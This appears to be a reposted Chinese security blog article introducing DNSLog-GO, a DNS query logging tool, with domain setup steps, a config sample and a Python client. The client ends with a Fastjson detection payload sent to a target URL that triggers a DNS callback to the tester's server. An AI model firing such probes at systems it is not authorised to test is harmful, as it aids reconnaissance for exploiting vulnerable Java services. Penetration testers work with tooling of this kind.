DNS解析记录工具 DNSLog-GO

admin 2023年5月31日12:38:36评论45 views字数 1753阅读5分50秒阅读模式

===================================

免责声明

 

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。

0x01 工具介绍

DNSLog-GO 是一款golang编写的监控 DNS解析记录的工具,自带WEB界面。

DNS解析记录工具 DNSLog-GO

0x02 安装与使用

1、域名与公网IP准备
搭建并使用 DNSLog,你需要拥有一个域名如(a.com),还需要有一个公网 IP 地址(如:1.1.1.1)修改 a.comNS 记录为 
NS1.vpsip.NIP.IONS2.vpsip.NIP.IO
ns1.1.1.1.1.nip.ions1.1.1.1.1.nip.io
本步骤中,需要在域名提供商提供的页面进行设置,部分域名提供商只允许修改 NS 记录为已经认证过的 NS 地址。所以需要找一个支持修改 NS 记录为自己 NS 的域名提供商。注意: NS 记录修改之后部分地区需要 24-48 小时会生效

2、修改配置文件config.ini

HTTP:  port: 8000 //http web监听端口#{"token":"用户对应子域名"}  user: { "admin": "admin" } //用户admin 对应的dnslog子域名是 admin.demo.com  consoleDisable: false  //是否关闭web页面Dns:  domain: demo.com //dnslog域名

3、启动对应系统的客户端

注意:服务端重新启动以后,如果修改了用户对应子域名称,必须清空一下浏览器中的localStorage,否则会获取不到数据
import requestsimport randomimport json

class DnsLog():    domain = ""    token = ""    Webserver = ""
def __init__(self, Webserver, token):        self.Webserver = Webserver  # dnslog的http监听地址,格式为 ip:端口        self.token = token  # token# 检测DNSLog服务器是否正常try:            res = requests.post("http://" + Webserver + "/api/verifyToken", json={"token": token}).json()            self.domain = res.Msgexcept:            exit("DnsLog 服务器连接失败")if res["Msg"] == "false":            exit("DnsLog token 验证失败")
# 生成随机子域名def randomSubDomain(self, length=5):        subDomain = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', length)) + '.' + self.domainreturn subDomain
# 验证子域名是否存在def checkDomain(self, domain):        res = requests.post("http://" + self.Webserver + "/api/verifyDns", json={"Query": domain},                            headers={"token": self.token}).json()if res["Msg"] == "false":return Falseelse:return True

url = "http://192.168.41.2:8090/"
dns = DnsLog("1111:8888", "admin")
subDomain = dns.randomSubDomain()
payload = {"b": {"@type": "java.net.Inet4Address","val": subDomain    }}
requests.post(url, json=payload)
if dns.checkDomain(subDomain):    print("存在FastJosn")

0x03 项目链接下载

 

https://github.com/lanyi1998/DNSlog-GO

 

DNS解析记录工具 DNSLog-GO

原文始发于微信公众号(网络安全者):DNS解析记录工具 --DNSLog-GO

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月31日12:38:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DNS解析记录工具 DNSLog-GOhttp://cn-sec.com/archives/1762614.html

发表评论

匿名网友 填写信息